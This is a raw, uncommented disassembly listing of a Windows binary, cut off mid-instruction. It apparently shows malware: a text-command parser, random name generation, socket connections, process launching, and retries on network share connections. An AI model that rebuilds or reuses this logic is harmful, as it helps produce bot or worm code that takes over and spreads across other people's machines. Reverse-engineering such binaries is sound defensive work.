[esp+50h+var_3C] push edx mov ecx, esi call sub_4014D3 mov [esp+50h+var_40], 1 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+var_4], 0 call sub_401226 pop ebp mov eax, esi pop edi pop esi pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn ; --------------------------------------------------------------------------- loc_41BBAF: ; CODE XREF: sub_41BA50+2Aj lea ecx, [esp+4Ch+var_24] call sub_40142E mov ebx, 2 mov [esp+4Ch+var_4], ebx nop call near ptr 27E0BCDh push eax call near ptr 77C371BCh nop mov edi, dword_511AC8 add esp, 4 call edi ; rand cdq mov ecx, 3 idiv ecx lea ecx, [esp+4Ch+var_24] mov esi, edx mov edx, [esp+4Ch+arg_4] push edx add esi, 6 call sub_4015E1 test esi, esi jle short loc_41BC4E loc_41BBF8: ; CODE XREF: sub_41BA50+1FCj lea ecx, [esp+4Ch+var_3C] call sub_40142E lea eax, [esp+4Ch+var_24] lea ecx, [esp+4Ch+var_3C] push eax mov byte ptr [esp+50h+var_4], 3 call sub_401FDC call edi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+4Ch+var_3C] add edx, 61h push edx call sub_4017EE push eax lea edx, [esp+54h+var_24] push offset dword_444E64 push edx call sub_40102D add esp, 10h lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], bl call sub_401226 dec esi jnz short loc_41BBF8 loc_41BC4E: ; CODE XREF: sub_41BA50+1A6j mov esi, [esp+4Ch+arg_0] lea eax, [esp+4Ch+var_24] push eax mov ecx, esi call sub_4014D3 lea ecx, [esp+4Ch+var_24] mov [esp+4Ch+var_40], 1 mov byte ptr [esp+4Ch+var_4], 0 call sub_401226 mov ecx, [esp+4Ch+var_C] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 40h retn sub_41BA50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BD20: ; CODE XREF: ___:00401573j mov al, [esp+4] cmp al, 20h jz short loc_41BD2F cmp al, 9 jz short loc_41BD2F xor al, al retn ; --------------------------------------------------------------------------- loc_41BD2F: ; CODE XREF: ___:0041BD26j ; ___:0041BD2Aj mov al, 1 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BD50: ; CODE XREF: ___:00401EF6j mov eax, [esp+4] push offset dword_444E6C push eax nop call near ptr 77C3F010h add esp, 8 test eax, eax jz short loc_41BD74 push eax nop call near ptr 77C40AB1h add esp, 4 mov al, 1 retn ; --------------------------------------------------------------------------- loc_41BD74: ; CODE XREF: ___:0041BD65j xor al, al retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BD90 proc near ; CODE XREF: sub_401483j var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_20 = byte ptr -20h arg_0 = dword ptr 4 sub esp, 30h push ebx push ebp push esi push edi mov edi, [esp+40h+arg_0] test edi, edi jz loc_41BFEE mov esi, offset byte_448F40 mov eax, edi loc_41BDAA: ; CODE XREF: sub_41BD90+3Cj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BDD2 test cl, cl jz short loc_41BDCE mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BDD2 add eax, 2 add esi, 2 test cl, cl jnz short loc_41BDAA loc_41BDCE: ; CODE XREF: sub_41BD90+26j xor eax, eax jmp short loc_41BDD7 ; --------------------------------------------------------------------------- loc_41BDD2: ; CODE XREF: sub_41BD90+22j ; sub_41BD90+32j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BDD7: ; CODE XREF: sub_41BD90+40j test eax, eax jz loc_41BFEE push 20h lea eax, [esp+44h+var_20] push edi push eax call near ptr 77C47A90h nop mov edi, dword_511B00 lea ecx, [esp+4Ch+var_20] push offset dword_4447F8 push ecx call edi ; strtok add esp, 14h mov [esp+40h+var_30], eax test eax, eax jz loc_41BFEE mov ebx, 1 lea esi, [esp+40h+var_2C] loc_41BE17: ; CODE XREF: sub_41BD90+A4j push offset dword_4447F8 push 0 call edi ; strtok add esp, 8 mov [esi], eax test eax, eax jz loc_41BFEE inc ebx add esi, 4 cmp ebx, 4 jl short loc_41BE17 mov ebp, [esp+40h+var_30] mov esi, offset dword_444E88 mov eax, ebp loc_41BE41: ; CODE XREF: sub_41BD90+D3j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BE69 test dl, dl jz short loc_41BE65 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BE69 add eax, 2 add esi, 2 test dl, dl jnz short loc_41BE41 loc_41BE65: ; CODE XREF: sub_41BD90+BDj xor eax, eax jmp short loc_41BE6E ; --------------------------------------------------------------------------- loc_41BE69: ; CODE XREF: sub_41BD90+B9j ; sub_41BD90+C9j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BE6E: ; CODE XREF: sub_41BD90+D7j test eax, eax jnz short loc_41BE7C pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BE7C: ; CODE XREF: sub_41BD90+E0j mov esi, offset dword_444E84 mov eax, ebp loc_41BE83: ; CODE XREF: sub_41BD90+115j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BEAB test dl, dl jz short loc_41BEA7 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BEAB add eax, 2 add esi, 2 test dl, dl jnz short loc_41BE83 loc_41BEA7: ; CODE XREF: sub_41BD90+FFj xor eax, eax jmp short loc_41BEB0 ; --------------------------------------------------------------------------- loc_41BEAB: ; CODE XREF: sub_41BD90+FBj ; sub_41BD90+10Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BEB0: ; CODE XREF: sub_41BD90+119j mov edi, [esp+40h+var_2C] test eax, eax jnz short loc_41BEFA mov esi, offset dword_444E80 mov edx, edi loc_41BEBF: ; CODE XREF: sub_41BD90+151j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BEE7 test bl, bl jz short loc_41BEE3 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BEE7 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BEBF loc_41BEE3: ; CODE XREF: sub_41BD90+13Bj xor edx, edx jmp short loc_41BEEC ; --------------------------------------------------------------------------- loc_41BEE7: ; CODE XREF: sub_41BD90+137j ; sub_41BD90+147j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BEEC: ; CODE XREF: sub_41BD90+155j test edx, edx jnz short loc_41BEFA pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BEFA: ; CODE XREF: sub_41BD90+126j ; sub_41BD90+15Ej mov esi, offset dword_444E7C mov edx, ebp loc_41BF01: ; CODE XREF: sub_41BD90+193j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BF29 test bl, bl jz short loc_41BF25 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BF29 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BF01 loc_41BF25: ; CODE XREF: sub_41BD90+17Dj xor edx, edx jmp short loc_41BF2E ; --------------------------------------------------------------------------- loc_41BF29: ; CODE XREF: sub_41BD90+179j ; sub_41BD90+189j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BF2E: ; CODE XREF: sub_41BD90+197j test edx, edx jnz short loc_41BF74 mov esi, offset dword_444E78 mov edx, edi loc_41BF39: ; CODE XREF: sub_41BD90+1CBj mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BF61 test bl, bl jz short loc_41BF5D mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BF61 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BF39 loc_41BF5D: ; CODE XREF: sub_41BD90+1B5j xor edx, edx jmp short loc_41BF66 ; --------------------------------------------------------------------------- loc_41BF61: ; CODE XREF: sub_41BD90+1B1j ; sub_41BD90+1C1j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BF66: ; CODE XREF: sub_41BD90+1CFj test edx, edx jnz short loc_41BF74 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BF74: ; CODE XREF: sub_41BD90+1A0j ; sub_41BD90+1D8j mov esi, offset dword_444E74 mov ecx, ebp loc_41BF7B: ; CODE XREF: sub_41BD90+20Dj mov al, [ecx] mov bl, [esi] mov dl, al cmp al, bl jnz short loc_41BFA3 test dl, dl jz short loc_41BF9F mov al, [ecx+1] mov bl, [esi+1] mov dl, al cmp al, bl jnz short loc_41BFA3 add ecx, 2 add esi, 2 test dl, dl jnz short loc_41BF7B loc_41BF9F: ; CODE XREF: sub_41BD90+1F7j xor ecx, ecx jmp short loc_41BFA8 ; --------------------------------------------------------------------------- loc_41BFA3: ; CODE XREF: sub_41BD90+1F3j ; sub_41BD90+203j sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_41BFA8: ; CODE XREF: sub_41BD90+211j test ecx, ecx jnz short loc_41BFEE mov esi, offset dword_444E70 mov eax, edi loc_41BFB3: ; CODE XREF: sub_41BD90+245j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BFDB test cl, cl jz short loc_41BFD7 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BFDB add eax, 2 add esi, 2 test cl, cl jnz short loc_41BFB3 loc_41BFD7: ; CODE XREF: sub_41BD90+22Fj xor eax, eax jmp short loc_41BFE0 ; --------------------------------------------------------------------------- loc_41BFDB: ; CODE XREF: sub_41BD90+22Bj ; sub_41BD90+23Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BFE0: ; CODE XREF: sub_41BD90+249j test eax, eax jnz short loc_41BFEE pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BFEE: ; CODE XREF: sub_41BD90+Dj ; sub_41BD90+49j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 30h retn sub_41BD90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C0A0 proc near ; CODE XREF: sub_402022j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx push esi push 6 push 1 push 2 xor bl, bl nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41C108 cmp esi, 0FFFFFFFFh jz short loc_41C108 mov eax, [esp+18h+arg_0] push eax nop call near ptr 71AB2BF4h mov ecx, [esp+18h+arg_4] mov [esp+18h+var_C], eax push ecx call near ptr 71AB2B66h nop lea edx, [esp+18h+var_10] push 10h push edx push esi mov [esp+24h+var_E], ax mov [esp+24h+var_10], 2 nop call near ptr 71AB406Ah test eax, eax jnz short loc_41C0F9 mov bl, 1 loc_41C0F9: ; CODE XREF: sub_41C0A0+55j push esi call near ptr 71AB9639h nop mov al, bl pop esi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_41C108: ; CODE XREF: sub_41C0A0+18j ; sub_41C0A0+1Dj pop esi xor al, al pop ebx add esp, 10h retn sub_41C0A0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C130 proc near ; CODE XREF: sub_401299j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push 0 push eax push ecx push offset aOpen ; "open" push 0 nop call near ptr 7CA41110h cmp eax, 20h setnl al retn sub_41C130 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C170 proc near ; CODE XREF: sub_402167j var_54 = byte ptr -54h var_44 = dword ptr -44h var_14 = word ptr -14h arg_0 = dword ptr 4 sub esp, 54h push edi mov ecx, 11h xor eax, eax lea edi, [esp+58h+var_44] rep stosd mov [esp+58h+var_14], ax lea eax, [esp+58h+var_54] mov edx, [esp+58h+arg_0] lea ecx, [esp+58h+var_44] push eax push ecx push 0 push 0 push 28h push 0 push 0 push 0 push edx push 0 mov [esp+80h+var_44], 44h nop call near ptr 27F0399h test eax, eax setnle al pop edi add esp, 54h retn sub_41C170 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C1E0: ; CODE XREF: ___:00401884j sub esp, 354h mov eax, off_444E94 mov ecx, off_444E98 mov [esp+0], eax mov al, byte_448F40 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_444E9C rep stosd mov ecx, off_444E8C mov [esp+10h], edx mov dx, word_444E90 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] xor edi, edi push eax push 0FFFFFFFFh push ecx push edi push edi call near ptr 27B0000h nop mov esi, dword_511AB8 lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat mov esi, [esp+374h] add esp, 10h lea eax, [esp+12Ch] push edi push offset dword_50DB5C push offset dword_50DB5C push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+14h], eax mov [esi+1Ch], edi call sub_43829E ; --------------------------------------------------------------------------- cmp eax, 5 jz short loc_41C2C8 cmp eax, 4C3h jnz short loc_41C2D1 loc_41C2C8: ; CODE XREF: ___:0041C2BFj push edi push edi push edi push esi call sub_43829E ; --------------------------------------------------------------------------- loc_41C2D1: ; CODE XREF: ___:0041C2C6j pop edi cmp eax, 5 pop esi jz short loc_41C2E8 cmp eax, 4C3h jz short loc_41C2E8 mov al, 1 add esp, 354h retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: ___:0041C2D6j ; ___:0041C2DDj xor al, al add esp, 354h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C350: ; CODE XREF: ___:00401EE7j sub esp, 354h mov eax, off_444E94 mov ecx, off_444E98 mov [esp+0], eax mov al, byte_448F40 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_444E9C rep stosd mov ecx, off_444E8C mov [esp+10h], edx mov dx, word_444E90 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] push eax push 0FFFFFFFFh push ecx push 0 push 0 call near ptr 27B0000h nop mov esi, dword_511AB8 lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat add esp, 10h lea eax, [esp+12Ch] push 0 push 0 push eax call sub_4382A4 ; --------------------------------------------------------------------------- test eax, eax jz short loc_41C438 mov esi, dword_5118D8 loc_41C41C: ; CODE XREF: ___:0041C436j push 7D0h call esi push 0 lea ecx, [esp+130h] push 0 push ecx call sub_4382A4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41C41C loc_41C438: ; CODE XREF: ___:0041C414j pop edi mov al, 1 pop esi add esp, 354h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41C490 proc near ; CODE XREF: sub_401D93j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41C490 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 0Ch push 4 push 4Fh push 10h push 14h lea eax, [esp+5Ch+var_3C] push 6 mov esi, ecx push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_41C490 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h lea edx, [esp+24h] push 6 push edx call sub_4019C4 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+118h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 15h push 4Fh push 10h push 14h lea ecx, [esp+20h] push 6 push ecx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+0EAh] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 4 push 4Fh push 10h push 14h push 14h lea eax, [esp+24h] push 8 push eax call sub_4019C4 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h push 14h lea edx, [esp+28h] push 8 push edx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE push eax lea eax, [esi+60h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 4Fh push 10h push 14h push 14h lea ecx, [esp+4Ch] push 8 push ecx call sub_4019C4 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017EE add esi, 32h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C710 proc near ; CODE XREF: sub_401064j var_111 = byte ptr -111h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_F4 = byte ptr -0F4h var_DC = byte ptr -0DCh var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_94 = byte ptr -94h var_7C = byte ptr -7Ch var_67 = byte ptr -67h var_52 = byte ptr -52h var_3D = byte ptr -3Dh var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_41C710 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 108h push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+124h+var_10C] call sub_40142E lea ecx, [esp+124h+var_DC] mov [esp+124h+var_4], 0 call sub_40142E lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_40142E lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_40142E lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_40142E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_401B4A mov esi, [esp+124h+arg_0] mov bl, 5 lea ecx, [ebp+8Eh] mov byte ptr [esp+124h+var_4], bl lea edi, [esi+7Eh] call sub_4017EE push eax mov ecx, edi call sub_4012EE lea ecx, [ebp+4] call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_41C93C push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016B8 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 6 push ecx mov ecx, eax call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC push offset asc_444C74 ; ":" lea ecx, [esp+128h+var_10C] call sub_401AAF mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FDC push 1 push offset asc_444600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 7 call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 8 jz short loc_41C8CC mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41C8CE ; --------------------------------------------------------------------------- loc_41C8CC: ; CODE XREF: sub_41C710+1AFj xor edi, edi loc_41C8CE: ; CODE XREF: sub_41C710+1BAj lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FDC lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FDC lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013DE loc_41C93C: ; CODE XREF: sub_41C710+C0j lea ecx, [ebp+60h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CABB push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016B8 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 9 push ecx mov ecx, eax call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC push offset asc_444C74 ; ":" lea ecx, [esp+128h+var_10C] call sub_401AAF mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FDC push 1 push offset asc_444600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Ah call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Bh jz short loc_41CA4B mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CA4D ; --------------------------------------------------------------------------- loc_41CA4B: ; CODE XREF: sub_41C710+32Ej xor edi, edi loc_41CA4D: ; CODE XREF: sub_41C710+339j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FDC lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FDC lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FDC mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013DE loc_41CABB: ; CODE XREF: sub_41C710+23Fj lea ecx, [ebp+32h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CCF6 push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016B8 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 0Ch push ecx mov ecx, eax call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC push offset asc_444C74 ; ":" lea ecx, [esp+128h+var_10C] call sub_401AAF mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FDC push 1 push offset asc_444600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Dh call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 3 push eax mov ecx, esi call sub_4016B8 push offset word_44956A mov ecx, eax mov byte ptr [esp+128h+var_4], 0Eh call sub_401B86 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41CC5E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014BA lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D312 ; --------------------------------------------------------------------------- loc_41CC5E: ; CODE XREF: sub_41C710+4D6j push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Fh jz short loc_41CC86 mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CC88 ; --------------------------------------------------------------------------- loc_41CC86: ; CODE XREF: sub_41C710+569j xor edi, edi loc_41CC88: ; CODE XREF: sub_41C710+574j lea ecx, [esp+124h+var_10C] mov byte ptr [esp+124h+var_4], bl push ecx lea ecx, [edi+11h] call sub_401FDC lea edx, [esp+124h+var_DC] lea ecx, [edi+26h] push edx call sub_401FDC lea eax, [esp+124h+var_C4] lea ecx, [edi+65h] push eax call sub_401FDC lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 0 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013DE loc_41CCF6: ; CODE XREF: sub_41C710+3BEj lea ecx, [ebp+0BCh] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CE9B push offset asc_444600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 10h call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FDC lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FDC lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FDC push 1 push offset asc_444600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 11h call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 12h jz short loc_41CE0E mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CE10 ; --------------------------------------------------------------------------- loc_41CE0E: ; CODE XREF: sub_41C710+6F1j xor edi, edi loc_41CE10: ; CODE XREF: sub_41C710+6FCj lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr 